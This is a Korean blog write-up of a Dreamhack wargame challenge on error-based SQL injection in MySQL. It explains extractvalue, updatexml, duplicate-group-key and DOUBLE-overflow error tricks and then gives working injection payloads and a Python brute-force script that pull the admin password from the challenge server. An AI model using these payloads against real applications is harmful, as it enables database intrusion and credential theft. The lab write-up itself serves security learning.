security/웹해킹

[Dreamhack Wargame] Error Based SQL Injection

민사민서 2023. 7. 14. 01:23

Error Based SQL Injection Technique

- extractvalue() 함수 이용

// 디버그 모드가 활성화된 서버에 한해 오류 발생 시 원인 출력됨

// extractvalue 함수는 XML 데이터(1st param)에서 XPATH 식(2st param)을 통해 데이터 추출

// 올바르지 않는 XPATH 식일 경우 에러 메시지와 함께 잘못된 XPATH 식을 출력해줌

SELECT extractvalue(1,concat(':',version()));
-- ERROR 1105 (HY000): XPATH syntax error: ':5.7.29-0ubuntu0.16.04.1-log'
SELECT extractvalue(1,concat(':',(SELECT upw FROM users WHERE uid='admin')));
-- ERROR 1105 (HY000): XPATH syntax error: ':Th1s_1s_admin_PASSW@rd'

cf) 왜 ':'를 XPATH 인자 앞에 concat 하는가?

extractvalue(1, concat(':', (select upw from user where uid='admin')));
extractvalue(1, (select upw from user where uid='admin'));

- 두 번째 인자인 XPath는 XML 데이터를 탐색하는 데 사용되며 /, //, :, @ 등의 특수문자를 사용하여 XML 구조를 탐색
- : 문자가 포함되어 있으면 플래그 전체가 path로 해석되어 오류 메시지에 전체 upw 값이 포함
- concat 함수를 사용하지 않고 바로 (select upw from user where uid='admin')를 사용하면, 반환된 upw 값이 XPath 표현식으로 해석되는데, 이 때 { 문자는 XPath에서 특수한 의미를 갖는 문자가 아니므로 XPath 구문 오류가 발생
- 이 때문에 { 문자 이후의 부분만 오류 메시지에 포함

 

- updatexml() 사용

SELECT updatexml(null,concat(0x0a,version()),null);
/*
ERROR 1105 (HY000): XPATH syntax error: '
5.7.29-0ubuntu0.16.04.1-log'
*/

- 동일한 그룹 키를 가진 중복 그룹이 생성되면서 생기는 오류

// version():0 과 version():1 두 개의 행에 대해 동일한 별칭 'x'가 부여됨

// 이로 인해 GROUP BY 절에서 동일한 그룹 키를 가진 그룹이 중복으로 생성되면서 에러 발생

SELECT COUNT(*), CONCAT((SELECT version()),0x3a,FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x;
/*
ERROR 1062 (23000): Duplicate entry '5.7.29-0ubuntu0.16.04.1-log:1' for key '<group_key>'
*/

- DOUBLE out of range 에러

// 에러 메시지를 통해 정보를 얻는 것이 아닌 에러 발생 여부만을 이용한 blind SQLI

// DOUBLE 최댓값인 1.8e308 을 초과하면 에러 발생

mysql> select if(1=1, 9e307*2,0);
ERROR 1690 (22003): DOUBLE value is out of range in '(9e307 * 2)'
mysql> SELECT 1=0 or 9e307*2;
ERROR 1690 (22003): DOUBLE value is out of range in '(9e307 * 2)'

 

cf) time based SQL Injection도 존재

mysql> SELECT IF(1=1, sleep(1), 0);

 

문제 분석

    if uid:
        try:
            cur = mysql.connection.cursor()
            cur.execute(f"SELECT * FROM user WHERE uid='{uid}';")
            return template.format(uid=uid)
        except Exception as e:
            return str(e)

쿼리문에서 exception 발생 시 에러 메시지를 화면에 출력해줌

CREATE DATABASE IF NOT EXISTS `users`;
GRANT ALL PRIVILEGES ON users.* TO 'dbuser'@'localhost' IDENTIFIED BY 'dbpass';

USE `users`;
CREATE TABLE user(
  idx int auto_increment primary key,
  uid varchar(128) not null,
  upw varchar(128) not null
);

DB 형태는 위와 같다, union 시 column 3개 필요하다

 

문제 풀이

풀이1. DOUBLE Out of range 에러를 이용한 blind injection

minseo' union select 9e307*2, 1, 2;

이렇게 payload를 주니

에러 잘 발생함을 확인.

 

minseo' union select if(substr(upw,1,1)='d', 9e307*2, 0), 1, 2 from user where uid='admin
minseo' union select if(substr(upw,1,1)='D', 9e307*2, 0), 1, 2 from user where uid='admin

둘 다 에러메시지를 반환하는거 보니 대소문자 구분 안 하는 듯.

minseo' union select if(binary(substr(upw,1,1))='D', 9e307*2, 0), 1, 2 from user where uid='admin
minseo' union select if(ascii(substr(upw,1,1))=68, 9e307*2, 0), 1, 2 from user where uid='admin

=> binary 함수 사용 시 이진연산을 하므로 대소문자 구분된다고 한다

=> ascii 값을 비교해도 된다

 

import requests
import string

url = "http://host3.dreamhack.games:15837/?uid="

charset = string.ascii_letters + string.digits + string.punctuation

flag='DH{'
idx=3

while True:
    idx += 1
    for ch in charset:
        payload = "minseo' union select if(ascii(substr(upw,{idx},1))={ascii}, 9e307*2, 0), 1, 2 from user where uid='admin".format(idx=idx, ascii=ord(ch))
        if "out of range" in requests.get(url+payload).text:
            flag += ch
            print(flag)
            break
    if flag[-1]=='}':
        break

잘 나온다

풀이2. extractvalue() 를 이용한 풀이

첫째 풀이는 플래그가 printable ascii letters로 구성되어있다는 가정 하에 진행된 것.

extractvalue()를 이용하면 플래그 값 자체를 leak 할 수 있다

테스트해봤는데 version() 잘 leak 되더라

1' and extractvalue(1, concat(':',(select upw from user where uid='admin')));

이렇게 하니 글자수가 짤려서 나오더라 (28자 정도)

 

1' and extractvalue(1, concat(':',(select left(upw,25) from user where uid='admin')));
1' and extractvalue(1, concat(':',(select right(upw,25) from user where uid='admin')));

따라서 이렇게 LEFT와 RIGHT를 이용해 앞에서부터/뒤에서부터 25자씩 구해줬다

 

cf) updatexml()을 이용한 풀이

1' and updatexml(null,concat(0x0a,(select upw from user where uid='admin')),null);--

얘도 플래그 잘려서 나옴

 

cf) duplicate group key를 이용한 풀이

1' union SELECT 1, COUNT(*), CONCAT((SELECT upw from user where uid='admin'),0x3a,FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x;

얘는 플래그 한 번에 나오네?ㅋㅋ